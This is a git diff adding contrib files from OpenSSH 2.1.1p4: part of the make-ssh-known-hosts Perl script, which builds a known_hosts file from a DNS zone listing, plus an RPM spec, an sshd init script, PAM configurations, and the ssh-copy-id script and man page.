x8'; +($junk, $junk, $sshport) = getservbyname("ssh", "tcp"); +if (!defined($sshport)) { + $sshport = 22; +} +($tcpprotoname, $junk, $tcpproto) = getprotobyname('tcp'); +defined($tcpprotoname) || die "getprotobyname : $!"; + +###################################################################### +# Parse options + +GetOptions("initialdns=s", "server=s", "subdomains=s", + "debug=i", "timeout=i", "passwordtimeout=i", + "trustdaemon!", "domainnamesplit", "silent", + "nslookup=s", "pingtimeout=i", "recursive!", + "keyscan", + "ssh=s") + || die "Getopt : $!"; + +if (defined($opt_initialdns)) { $defserver = $opt_initialdns; } + +if (defined($opt_server)) { $server = $opt_server; } + +if (defined($opt_subdomains)) { @subdomains = split(/,/, $opt_subdomains); } + +if (defined($opt_debug)) { $debug = $opt_debug; } + +if (defined($opt_timeout)) { $timeout = $opt_timeout; } + +if (defined($opt_pingtimeout)) { $ping_timeout = $opt_pingtimeout; } + +if (defined($opt_passwordtimeout)) { + $passwordtimeout = $opt_passwordtimeout; + $sshdisablepasswordoption = ''; +} + +if (defined($opt_trustdaemon)) { $trustdaemon = $opt_trustdaemon; } + +if (defined($opt_recursive)) { $recursive = $opt_recursive; } + +if (defined($opt_domainnamesplit)) { $domainnamesplit = $opt_domainnamesplit; } + +if (defined($opt_silent)) { $bell = ''; } + +if (defined($opt_nslookup)) { $nslookup = $opt_nslookup; } + +if (defined($opt_ssh)) { $ssh = $opt_ssh; } else { + $ssh = "$ssh $sshdisablepasswordoption"; +} + +if ($#ARGV == 0) { + $domain = "\L$ARGV[0]\E"; + $grep_yes = '.*'; + $grep_no = '^$'; +} elsif ($#ARGV == 1) { + $domain = "\L$ARGV[0]\E"; + $grep_yes = $ARGV[1]; + $grep_no = '^$'; +} elsif ($#ARGV == 2) { + $domain = "\L$ARGV[0]\E"; + $grep_yes = $ARGV[1]; + $grep_no = $ARGV[2]; +} else { + print(STDERR "$0 [--initialdns initial_dns_server] [--server dns_server] [--subdomains sub.sub.domain,sub.sub,sub,] [--debug debug_level] [--timeout ssh_exec_timeout_in_secs] [--pingtimeout ping_timeout_in_secs] [--passwordtimeout timeout_for_password_in_secs] [--notrustdaemon] [--norecursive] [--domainnamesplit] [--silent] [--keyscan] [--nslookup path_to_nslookup] [--ssh path_to_ssh] full.domain [ host_info_take_regexp [ host_info_remove_regex ]]\n"); + exit(1); +} + +###################################################################### +# Check that ssh program exists + +if (system("$ssh > /dev/null 2>&1 ") != 256) { + print(STDERR "Error: Could not run ssh program ($ssh): $!\nError: Try giving the path to it with --ssh option\n"); + exit(1); +} + +###################################################################### +# Generate subdomains list + +if (!$domainnamesplit) { + debug(6, "Auto splitting host entries"); +} elsif (!defined(@subdomains)) { + debug(6, "Generating subdomain list"); + + # split domain to pieces + @domain_pieces = split(/\./, $domain); + + # add empty domain part + push(@subdomains, ''); + + # add rest parts, except the one before full domain name + $entry=''; + for(; $#domain_pieces > 1; ) { + $entry .= "." . shift(@domain_pieces); + push(@subdomains, $entry); + } + + # add full domain name + push(@subdomains, ".$domain"); + debug(5, "Subdomain list: " . join(',', @subdomains)); +} else { + debug(5, "Using given subdomain list:" . join(',', @subdomains)); +} + +###################################################################### +# finding SOA entry for domain + +@other_servers = (); +if (!defined($server)) { + debug(6, "Finding DNS database SOA entry"); + + ($server, @other_servers) = find_soa($domain, $defserver); + + if (!defined($server)) { + print(STDERR "Error: Could not find DNS SOA entry from default dns server\nError: Try giving the initial nameserver with --initialdns option\n"); + exit(1); + } else { + debug(5, "DNS server found : $server"); + } +} else { + debug(5, "Using given DNS server : $server"); +} + +###################################################################### +# Print header + +($name, $junk, $junk, $junk, $junk, $junk, $gecos) = getpwuid($<); +$gecos =~ s/,.*$//g; + +if (!defined($opt_keyscan)) { + print(STDOUT "# This file is generated with make-ssh-known-hosts.pl\n"); + print(STDOUT "#$version\n"); + print(STDOUT "# with command line :\n"); + print(STDOUT "# $command_line\n"); + print(STDOUT "#\n"); + print(STDOUT "# The script was run by $gecos ($name) at " . localtime() . "\n"); + print(STDOUT "# using perl ($^X) version $].\n"); +} + +###################################################################### +# Get DNS database list from server + +do { + $domains_done{$domain} = 1; + delete $domains_waiting{$domain}; + + $hostcnt = 0; + $cnamecnt = 0; + $lines = 0; + $soa = 0; + undef %host; + undef %cname; + undef %hostdata; + + dnsagain: + debug(1, "Getting DNS database for $domain from server $server"); + open(DNS, "echo ls -d $domain | nslookup - $server 2>&1 |") || + die "Error: Could not start nslookup to make dns list : $!\nError: Try giving --nslookup option and telling the path to nslookup program\n"; + + while() { + $lines++; + chomp; + undef $hostname if/^\s*$/; + if (/^\s{0,1}([a-zA-Z0-9-]\S*)/) { + $hostname = "\L$1\E"; + } + next unless defined $hostname; + if (/^.*\s(SOA)\s+(.*)\s*$/ || $hostname eq "SOA") { + undef $soa if(/^.*\s(SOA)\s+(.*)\s*$/); + $data = $_ if ($hostname eq "SOA"); + $data = $2 unless $hostname eq "SOA"; + $data =~ s/\s*;.*$//; + $data =~ s/^\s+//; + if( defined $soa ) { + $soa .= " \L$data\E"; + } else { + $soa = "\L$data\E"; + } + $hostname = "SOA"; + } elsif (/^.*\s(A|CNAME|NS)\s+(.*)\s*$/) { + $host = $hostname; + $field = "\L$1\E"; + $data = "\L$2\E"; + debug(70, "Line = /$host/$field/$data/"); + if ($host !~ /\.$/) { + $host .= ".$domain"; + } else { + $host =~ s/\.$//g; + } + if ($field eq "a") { + if ($host =~ /$domain$/) { + if (defined($host{$host})) { + $host{$host} .= ",$data"; + } else { + $host{$host} = "$data"; + $hostcnt++; + } + debug(30, "$host A == $host{$host}"); + } + } elsif ($field eq "cname") { + if ($data !~ /\.$/ && ! /^\s/ ) { + $data .= ".$domain"; + } else { + $data =~ s/\.$//g; + } + if ($host =~ /$domain$/) { + if (defined($cname{$data})) { + $cname{$data} .= ",$host"; + } else { + $cname{$data} = "$host"; + $cnamecnt++; + } + debug(30, "$host CNAME $data"); + $junk = $data; + $data = $host; + $host = $junk; + } + } elsif ($field eq "ns") { + if (!defined($domains_done{$host})) { + if (!defined($domains_waiting{$host})) { + debug(10, "Adding subdomain $host to domains list, with NS $data"); + $domains_waiting{$host} = $data; + push(@domains_waiting, $host); + } else { + debug(10, "Adding NS $data for domain $host"); + $domains_waiting{$host} .= ",$data"; + } + } + } + if (!defined($hostdata{$host})) { + $hostdata{$host} = "$host\n$field=$data\n"; + } else { + $hostdata{$host} .= "$field=$data\n"; + } + } + } + close(DNS); + if ($hostcnt == 0 && $cnamecnt == 0) { + if ($#other_servers != -1) { + $server = shift(@other_servers); + goto dnsagain; + } + } + debug(1, "Found $hostcnt hosts, $cnamecnt CNAMEs (total $lines lines)"); + if (!defined($opt_keyscan)) { + print(STDOUT "#\n"); + print(STDOUT "# Domain = $domain, server = $server\n"); + print(STDOUT "# Found $hostcnt hosts, $cnamecnt CNAMEs (total $lines lines)\n"); + print(STDOUT "# SOA = $soa\n"); + print(STDOUT "#\n"); + } + +###################################################################### +# Loop through hosts and try to connect to hosts + + foreach $i (sort (keys %host)) { + debug(50, "Host = $i, Hostdata = $hostdata{$i}"); + if ($hostdata{$i} =~ /$grep_yes/im && + $hostdata{$i} !~ /$grep_no/im && + $i !~ /^localhost\./ && + $host{$i} !~ /^127.0.0.1$|^127.0.0.1,|,127.0.0.1$|,127.0.0.1,/) { + debug(2, "Trying host $i"); + + @hostnames = (); + if (defined($cname{$i})) { + expand($i, \@hostnames, \@subdomains); + foreach $j (split(/,/, $cname{$i})) { + expand($j, \@hostnames, \@subdomains); + } + } else { + expand($i, \@hostnames, \@subdomains); + } + foreach $j (split(/,/, $host{$i})) { + push(@hostnames, $j); + } + $hostnames = join(',', (@hostnames)); + + if (defined($opt_keyscan)) { + printf(STDOUT "$host{$i}\t$hostnames\n"); + } elsif (try_ping($i, $host{$i})) { + $trusted = 1; + $err = 'Timeout expired'; + $ssh_key = try_ssh("$i"); + if (!defined($ssh_key)) { + $ssh_key = find_host_from_known_hosts($i); + $trusted = 0; + } + if (defined($ssh_key)) { + if ($trusted) { + debug(2, "Ssh to $i succeded"); + } else { + debug(2, "Ssh to $i failed, using local known_hosts entry"); + } + debug(4, "adding entries : $hostnames"); + $ssh_key =~ s/root@//i; + if (!$trusted && !$trustdaemon) { + print(STDOUT "# $hostnames $ssh_key\n"); + } else { + print(STDOUT "$hostnames $ssh_key\n"); + } + } else { + debug(2, "ssh failed : $err"); + } + } else { + debug(2, "ping failed"); + } + } else { + debug(10, "Skipped host $i"); + } + } + again: + $domain = shift(@domains_waiting); + if (defined($domain)) { + $server = $domains_waiting{$domain}; + @other_servers = split(',', $server); + $server = shift(@other_servers); + ($server, @other_servers) = find_soa($domain, $server); + if(!defined($server)) { + debug(1, "Skipping domain $domain because no DNS SOA entry found"); + $domains_done{$domain} = 1; + delete $domains_waiting{$domain}; + goto again; + } + } +} while ($recursive && defined($domain)); + +unlink($private_ssh_known_hosts); +exit (0); + +###################################################################### +# try_ping -- try to ping to host and return 1 if success +# $success = try_ping($host, $list_ip_addrs); + +sub try_ping { + my($host, $ipaddrs) = @_; + my(@ipaddrs, $ipaddr, $serv, $ip); + my($rin, $rout, $win, $wout, $nfound, $tmout, $buf, $len, $ret, $err); + + $buf = ''; + debug(51,"Trying to ping host $host"); + @ipaddrs = split(/,/, $ipaddrs); + + while ($ipaddr = shift(@ipaddrs)) { + + debug(55,"Trying ipaddr $ipaddr"); + + #initialize socket + socket(PING, PF_INET, SOCK_STREAM, $tcpproto) || + die "socket failed : $!"; + setsockopt(PING, SOL_SOCKET, SO_REUSEADDR, 1) || + die "setsockopt failed : $!"; + PING->autoflush(1); + fcntl(PING, F_SETFL, fcntl(PING, F_GETFL, 0) | POSIX::O_NONBLOCK) || + die "fcntl failed : $!"; + + $ip = pack('C4', split(/\./, $ipaddr, 4)); + $serv = pack($sockaddr, AF_INET, $sshport, $ip); + + again: + # try connect + $ret = connect(PING, $serv); + $err = $!; + if (!$ret) { + debug(60, "Connect failed : $err"); + if ($err == EINTR) { + goto again; + } + # socket not yet connected, wait for result, it will + # wake up for writing when done + $tmout = $ping_timeout; + + $rin = ''; + $win = ''; + vec($rin, fileno(PING), 1) = 1; + vec($win, fileno(PING), 1) = 1; + debug(60, "Waiting in select, rin = " . unpack('H*', $rin) . + ", win = " . unpack('H*', $win)); + ($nfound) = select($rout = $rin, $wout = $win, undef, $tmout); + $err = $!; + debug(80, "Select returned $nfound, rout = " . unpack('H*', $rout) . + ", wout = " . unpack('H*', $wout)); + if ($nfound != 0) { + # connect done, read the status with sysread + $ret = sysread(PING, $buf, 1); + $err = $!; + if (defined($ret) || $err == EAGAIN || $err == EWOULDBLOCK) { + debug(60, "Select ok, read ok ($err), returning ok"); + # connection done, return ok + shutdown(PING, 2); + close(PING); + return 1; + } else { + # connection failed, try next ipaddr + debug(60, "Select ok, read failed : $err, trying next"); + close(PING); + } + } else { + # timeout exceeded, try next ipaddr + debug(60, "Select failed : $err, trying next"); + close(PING); + } + } else { + # connect succeeded, return ok. + debug(60, "Connect ok, returning ok"); + shutdown(PING, 2); + close(PING); + return 1; + } + } + debug(60, "Returning fail"); + return 0; +} + +###################################################################### +# try_ssh -- try ssh connection to host and return ssh_key if success +# if failure return undef, and set $err string to contain error message. +# $ssh_key = try_ssh($host); + +sub try_ssh { + my($host) = @_; + my($buf, $ret, $pos, $pid, $rin, $nfound, $tmout); + + $pid = open(SSH, "$ssh $host cat $public_key 2>&1 |"); + $err = undef; + + if ($pid == 0) { + $err = "could not open ssh connection to host"; + return undef; + } + $ret = 1; + $pos = 0; + $buf = ''; + $tmout = $timeout; + debug(10, "Starting ssh select loop"); + loop: + while (1) { + + $rin = ''; + vec($rin, fileno(SSH), 1) = 1; + ($nfound, $tmout) = select($rin, undef, undef, $tmout); + + # Timeout + if ($nfound <= 0) { + debug(20, "Ssh select timed out"); + kill(2, $pid); sleep(1); kill(9, $pid); + close(SSH); + $err = "Timeout expired"; + return undef; + } + + $ret = sysread(SSH, $buf, 256, $pos); + # EOF or error + if ($ret <= 0) { + # Yes, close the pipe and return + close(SSH); + debug(20, "Ssh select closed status = $?"); + $err = "No reply from ssh"; + return undef; + } + $pos += $ret; + while ($buf =~ /^(.*)\n\r?([\000-\377]*)$/) { + $_ = $1; + $buf = $2; + $pos = length($buf); + debug(20, "Ssh select loop, line = \"$_\""); + if (/^connection.*refused/i) { + $err = "connection refused"; + } elsif (/^permission/i) { + $err = "permission denied"; + } elsif (/$public_key.*no\s+file/i) { + $err = "$public_key file not found"; + } elsif (/$public_key.*permission\s+denied/i) { + $err = "$public_key file permission denied"; + } elsif (/^\d+\s+\d+\s+\d/) { + kill(2, $pid); sleep(1); kill(9, $pid); + close(SSH); + return $_; + } + if (defined($err)) { + kill(2, $pid); sleep(1); kill(9, $pid); + close(SSH); + return undef; + } + } + if ($buf =~ /password: $/i) { + if (defined($passwordtimeout)) { + $tmout = $passwordtimeout; + print(STDERR "$bell\n\rPassword: "); + if ($tmout == 0) { + $tmout = undef; + } + } else { + $tmout = 0; + } + $buf = ''; + $pos = 0; + } + } +} + +###################################################################### +# find_hosts_from_known_hosts -- find host key from private known_hosts file +# $ssh_key = find_host_from_known_hosts($host); + +sub find_host_from_known_hosts { + my($host) = @_; + open(KNOWNHOSTS, "<$private_ssh_known_hosts") || return undef; + while() { + @_ = split(/\s+/, $_); + if ($_[0] =~ /^$host$|^$host,|,$host$/) { + shift(@_); + close(KNOWNHOSTS); + return join(' ', @_); + } + } + close(KNOWNHOSTS); + return undef; +} + +###################################################################### +# expand -- insert expanded hostnames to hostnames table +# expand($hostname, \@hostnames, \@subdomains); + +sub expand { + my($host, $hostnames, $subdomains) = @_; + my($newhost, $sub, $entry); + + if (!$domainnamesplit) { + my(@domain_pieces); + + # split domain to pieces + @domain_pieces = split(/\./, $host); + + # add rest parts, except the one before full domain name + $entry = shift(@domain_pieces); + + debug(20, "Adding autosplit entry $entry"); + push(@$hostnames, $entry); + + for(; $#domain_pieces > 1; ) { + $entry .= "." . shift(@domain_pieces); + debug(20, "Adding autosplit entry $entry"); + push(@$hostnames, $entry); + } + # add full domain name + debug(20, "Adding autosplit entry $host"); + push(@$hostnames, $host); + } else { + if ($host =~ /^(.*)$domain$/i) { + $newhost = $1; + $newhost =~ s/\.$//g; + foreach $sub (@$subdomains) { + $entry = $newhost . $sub; + $entry =~ s/^\.//g; + if ($entry ne '') { + debug(20, "Adding entry $entry"); + push(@$hostnames, $entry); + } + } + } + } +} + +###################################################################### +# Print debug text +# debug(text_debug_level, string) + +sub debug { + my($level, $str) = @_; + if ($debug > $level) { + print(STDERR "$0:debug[$level]: $str\n"); + } +} + +###################################################################### +# find_soa -- find soa entry for domain +# ($soa_origin, @other_servers) = find_soa($domain, $initial_server) + +sub find_soa { + my($domain, $initial_server) = @_; + my($field, $data, $server, @other_servers); + + open(DNS, "$nslookup -type=soa $domain $initial_server 2>&1 |") || + die "Error: Could not start nslookup to find SOA entry for $domain : $!\nError: Try giving the path to it with --nslookup option\n"; + + while () { + if (/^[^=]*origin\s*=\s*(.*)/) { + $server = $1; + debug(10, "Found origin : $1"); + } elsif (/^[^=]*nameserver\s*=\s*(.*)\s*$/) { + push(@other_servers, $1); + debug(10, "Found nameserver : $1"); + } + } + close(DNS); + return($server, @other_servers); +} + +###################################################################### +# make_perl_happy -- use some symbols, so perl doesn't complain so much +# make_perl_happy(); + +sub make_perl_happy { + if (0) { + print $opt_silent; + } +} + +1; diff --git a/other/openssh-2.1.1p4/contrib/redhat/openssh.spec b/other/openssh-2.1.1p4/contrib/redhat/openssh.spec new file mode 100644 index 0000000..f20a8db --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/redhat/openssh.spec @@ -0,0 +1,275 @@ +# Version of OpenSSH +%define oversion 2.1.1p4 + +# Version of ssh-askpass +%define aversion 1.0 + +# Do we want to disable building of x11-askpass? (1=yes 0=no) +%define no_x11_askpass 0 + +# Do we want to disable building of gnome-askpass? (1=yes 0=no) +%define no_gnome_askpass 0 + +Summary: OpenSSH free Secure Shell (SSH) implementation +Name: openssh +Version: %{oversion} +Release: 1 +Packager: Damien Miller +URL: http://www.openssh.com/ +Source0: http://violet.ibs.com.au/openssh/files/openssh-%{oversion}.tar.gz +Source1: http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/x11-ssh-askpass-%{aversion}.tar.gz +Copyright: BSD +Group: Applications/Internet +BuildRoot: /tmp/openssh-%{version}-buildroot +Obsoletes: ssh +PreReq: openssl >= 0.9.5a +Requires: openssl >= 0.9.5a +BuildPreReq: perl +BuildPreReq: openssl-devel +BuildPreReq: tcp_wrappers +%if %{no_x11_askpass} +BuildPreReq: gnome-libs-devel +%endif + +%package clients +Summary: OpenSSH Secure Shell protocol clients +Requires: openssh +Group: System Environment/Daemons +Obsoletes: ssh-clients + +%package server +Summary: OpenSSH Secure Shell protocol server (sshd) +Group: System Environment/Daemons +Obsoletes: ssh-server +PreReq: openssh chkconfig >= 0.9 + +%package askpass +Summary: OpenSSH X11 passphrase dialog +Group: Applications/Internet +Requires: openssh +Obsoletes: ssh-extras + +%package askpass-gnome +Summary: OpenSSH GNOME passphrase dialog +Group: Applications/Internet +Requires: openssh +Obsoletes: ssh-extras + +%description +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the core files necessary for both the OpenSSH +client and server. To make this package useful, you should also +install openssh-clients, openssh-server, or both. + +%description clients +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes the clients necessary to make encrypted connections +to SSH servers. + +%description server +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the secure shell daemon. The sshd is the server +part of the secure shell protocol and allows ssh clients to connect to +your host. + +%description askpass +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains Jim Knoble's X11 passphrase +dialog. + +%description askpass-gnome +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package contains the GNOME passphrase dialog. + +%changelog +* Wed Jul 12 2000 Damien Miller +- Make building of X11-askpass and gnome-askpass optional +* Mon Jun 12 2000 Damien Miller +- Glob manpages to catch compressed files +* Wed Mar 15 2000 Damien Miller +- Updated for new location +- Updated for new gnome-ssh-askpass build +* Sun Dec 26 1999 Damien Miller +- Added Jim Knoble's askpass +* Mon Nov 15 1999 Damien Miller +- Split subpackages further based on patch from jim knoble +* Sat Nov 13 1999 Damien Miller +- Added 'Obsoletes' directives +* Tue Nov 09 1999 Damien Miller +- Use make install +- Subpackages +* Mon Nov 08 1999 Damien Miller +- Added links for slogin +- Fixed perms on manpages +* Sat Oct 30 1999 Damien Miller +- Renamed init script +* Fri Oct 29 1999 Damien Miller +- Back to old binary names +* Thu Oct 28 1999 Damien Miller +- Use autoconf +- New binary names +* Wed Oct 27 1999 Damien Miller +- Initial RPMification, based on Jan "Yenya" Kasprzak's spec. + +%prep + +%setup -a 1 + +%build + +CFLAGS="$RPM_OPT_FLAGS" \ + ./configure --prefix=/usr --sysconfdir=/etc/ssh \ + --with-tcp-wrappers --with-ipv4-default \ + --with-rsh=/usr/bin/rsh + +make + +%if ! %{no_x11_askpass} +cd x11-ssh-askpass-%{aversion} +xmkmf -a +make +cd .. +%endif + +%if ! %{no_gnome_askpass} +cd contrib +gcc -O -g `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` +cd .. +%endif + +%install +rm -rf $RPM_BUILD_ROOT +make install DESTDIR=$RPM_BUILD_ROOT/ + +install -d $RPM_BUILD_ROOT/etc/pam.d/ +install -d $RPM_BUILD_ROOT/etc/rc.d/init.d +install -d $RPM_BUILD_ROOT/usr/libexec/ssh +install -m644 contrib/redhat/sshd.pam $RPM_BUILD_ROOT/etc/pam.d/sshd +install -m755 contrib/redhat/sshd.init $RPM_BUILD_ROOT/etc/rc.d/init.d/sshd + +%if ! %{no_x11_askpass} +install -s x11-ssh-askpass-%{aversion}/x11-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/x11-ssh-askpass +ln -s /usr/libexec/ssh/x11-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/ssh-askpass +%endif + +%if ! %{no_gnome_askpass} +install -s contrib/gnome-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/gnome-ssh-askpass +%endif + +%clean +rm -rf $RPM_BUILD_ROOT + +%post server +/sbin/chkconfig --add sshd +if [ ! -f /etc/ssh/ssh_host_key -o ! -s /etc/ssh/ssh_host_key ]; then + /usr/bin/ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N '' >&2 +fi +if [ ! -f /etc/ssh/ssh_host_dsa_key -o ! -s /etc/ssh/ssh_host_dsa_key ]; then + /usr/bin/ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N '' >&2 +fi +if test -r /var/run/sshd.pid +then + /etc/rc.d/init.d/sshd restart >&2 +fi + +%preun server +if [ "$1" = 0 ] +then + /etc/rc.d/init.d/sshd stop >&2 + /sbin/chkconfig --del sshd +fi + +%files +%defattr(-,root,root) +%doc ChangeLog OVERVIEW COPYING.Ylonen README* INSTALL +%doc CREDITS UPGRADING +%attr(0755,root,root) /usr/bin/ssh-keygen +%attr(0755,root,root) /usr/bin/scp +%attr(0644,root,root) /usr/man/man1/ssh-keygen.1* +%attr(0644,root,root) /usr/man/man1/scp.1* +%attr(0755,root,root) %dir /etc/ssh +%attr(0755,root,root) %dir /usr/libexec/ssh + +%files clients +%defattr(-,root,root) +%attr(4755,root,root) /usr/bin/ssh +%attr(0755,root,root) /usr/bin/ssh-agent +%attr(0755,root,root) /usr/bin/ssh-add +%attr(0644,root,root) /usr/man/man1/ssh.1* +%attr(0644,root,root) /usr/man/man1/ssh-agent.1* +%attr(0644,root,root) /usr/man/man1/ssh-add.1* +%attr(0644,root,root) %config(noreplace) /etc/ssh/ssh_config +%attr(-,root,root) /usr/bin/slogin +%attr(-,root,root) /usr/man/man1/slogin.1* + +%files server +%defattr(-,root,root) +%attr(0755,root,root) /usr/sbin/sshd +%attr(0644,root,root) /usr/man/man8/sshd.8* +%attr(0600,root,root) %config(noreplace) /etc/ssh/sshd_config +%attr(0600,root,root) %config(noreplace) /etc/pam.d/sshd +%attr(0755,root,root) %config /etc/rc.d/init.d/sshd + +%if ! %{no_x11_askpass} +%files askpass +%defattr(-,root,root) +%doc x11-ssh-askpass-%{aversion}/README +%doc x11-ssh-askpass-%{aversion}/ChangeLog +%doc x11-ssh-askpass-%{aversion}/SshAskpass*.ad +%attr(0755,root,root) /usr/libexec/ssh/ssh-askpass +%attr(0755,root,root) /usr/libexec/ssh/x11-ssh-askpass +%endif + +%if ! %{no_gnome_askpass} +%files askpass-gnome +%defattr(-,root,root) +%attr(0755,root,root) /usr/libexec/ssh/gnome-ssh-askpass +%endif + diff --git a/other/openssh-2.1.1p4/contrib/redhat/sshd.init b/other/openssh-2.1.1p4/contrib/redhat/sshd.init new file mode 100755 index 0000000..cac91bb --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/redhat/sshd.init @@ -0,0 +1,60 @@ +#!/bin/bash + +# Init file for OpenSSH server daemon +# +# chkconfig: 2345 55 25 +# description: OpenSSH server daemon +# +# processname: sshd +# config: /etc/ssh/ssh_host_key +# config: /etc/ssh/ssh_host_key.pub +# config: /etc/ssh/ssh_random_seed +# config: /etc/ssh/sshd_config +# pidfile: /var/run/sshd.pid + +# source function library +. /etc/rc.d/init.d/functions + +RETVAL=0 + +case "$1" in + start) + echo -n "Starting sshd: " + if [ ! -f /var/run/sshd.pid ] ; then + case "`type -type success`" in + function) + /usr/sbin/sshd && success "sshd startup" || failure "sshd startup" + RETVAL=$? + ;; + *) + /usr/sbin/sshd && echo -n "sshd " + RETVAL=$? + ;; + esac + [ $RETVAL -eq 0 ] && touch /var/lock/subsys/sshd + fi + echo + ;; + stop) + echo -n "Shutting down sshd: " + if [ -f /var/run/sshd.pid ] ; then + killproc sshd + fi + echo + [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/sshd + ;; + restart) + $0 stop + $0 start + RETVAL=$? + ;; + status) + status sshd + RETVAL=$? + ;; + *) + echo "Usage: sshd {start|stop|restart|status}" + exit 1 +esac + +exit $RETVAL diff --git a/other/openssh-2.1.1p4/contrib/redhat/sshd.pam b/other/openssh-2.1.1p4/contrib/redhat/sshd.pam new file mode 100644 index 0000000..26dcb34 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/redhat/sshd.pam @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_pwdb.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_pwdb.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_pwdb.so shadow nullok use_authtok +session required /lib/security/pam_pwdb.so +session required /lib/security/pam_limits.so diff --git a/other/openssh-2.1.1p4/contrib/ssh-copy-id b/other/openssh-2.1.1p4/contrib/ssh-copy-id new file mode 100644 index 0000000..0ab37ca --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/ssh-copy-id @@ -0,0 +1,45 @@ +#!/bin/sh + +# Shell script to install your identity.pub on a remote machine +# Takes the remote machine name as an argument. +# Obviously, the remote machine must accept password authentication, +# or one of the other keys in your ssh-agent, for this to work. + +ID_FILE="${HOME}/.ssh/identity.pub" + +if [ "-i" = "$1" ]; then + shift + # check if we have 2 parameters left, if so the first is the new ID file + if [ -n "$2" ]; then + if expr "$1" : ".*\.pub" ; then + ID_FILE="$1" + else + ID_FILE="$1.pub" + fi + shift # and this should leave $1 as the target name + fi +else + if [ x$SSH_AUTH_SOCK != x ] ; then + GET_ID="$GET_ID ssh-add -L" + fi +fi + +if [ -z "`eval $GET_ID`" -a -r "${ID_FILE}" ] ; then + GET_ID="cat ${ID_FILE}" +fi + +if [ -z "`eval $GET_ID`" ]; then + echo "$0: ERROR: No identities found" + exit 1 +fi + +{ eval "$GET_ID" ; } | ssh $1 "test -d .ssh || mkdir .ssh ; cat >> .ssh/authorized_keys ; chmod g-w . .ssh .ssh/authorized_keys" + +cat < + +Permission is granted to make and distribute verbatim copies of +this manual provided the copyright notice and this permission notice +are preserved on all copies. + +Permission is granted to copy and distribute modified versions of this +manual under the conditions for verbatim copying, provided that the +entire resulting derived work is distributed under the terms of a +permission notice identical to this one. + +Permission is granted to copy and distribute translations of this +manual into another language, under the above conditions for modified +versions, except that this permission notice may be included in +translations approved by the Free Software Foundation instead of in +the original English. +.. +.TH SSH-COPY-ID 1 "14 November 1999" "OpenSSH" +.SH NAME +ssh-copy-id \- install your identity.pub in a remote machine's authorized_keys +.SH SYNOPSIS +.B ssh-copy-id [-i [identity_file]] +.I "[user@]machine" +.br +.SH DESCRIPTION +.BR ssh-copy-id +is a script that uses ssh to log into a remote machine (presumably +using a login password, so password authentication should be enabled, +unless you've done some clever use of multiple identities) +.PP +It also changes the permissions of the remote user's home, +.BR ~/.ssh , +and +.B ~/.ssh/authorized_keys +to remove group writability (which would otherwise prevent you from logging in, if the remote +.B sshd +has +.B StrictModes +set in its configuration). +.PP +If the +.B -i +option is given then the identity file (defaults to +.BR ~/.ssh/identity.pub ) +is used, regardless of whether there are any keys in your +.BR ssh-agent . +Otherwise, if this: +.PP +.B " ssh-add -L" +.PP +provides any output, it uses that in preference to the identity file. +.PP +If the +.B -i +option is used, or the +.B ssh-add +produced no output, then it uses the contents of the identity +file. Once it has one or more fingerprints (by whatever means) it +uses ssh to append them to +.B ~/.ssh/authorised_keys +on the remote machine (creating the file, and directory, if necessary) + +.SH "SEE ALSO" +.BR ssh (1), +.BR ssh-agent (1), +.BR sshd (8) diff --git a/other/openssh-2.1.1p4/contrib/sshd.pam.freebsd b/other/openssh-2.1.1p4/contrib/sshd.pam.freebsd new file mode 100644 index 0000000..c0bc364 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/sshd.pam.freebsd @@ -0,0 +1,5 @@ +sshd auth required pam_unix.so try_first_pass +sshd account required pam_unix.so +sshd password required pam_permit.so +sshd session required pam_permit.so + diff --git a/other/openssh-2.1.1p4/contrib/sshd.pam.generic b/other/openssh-2.1.1p4/contrib/sshd.pam.generic new file mode 100644 index 0000000..cf5af30 --- 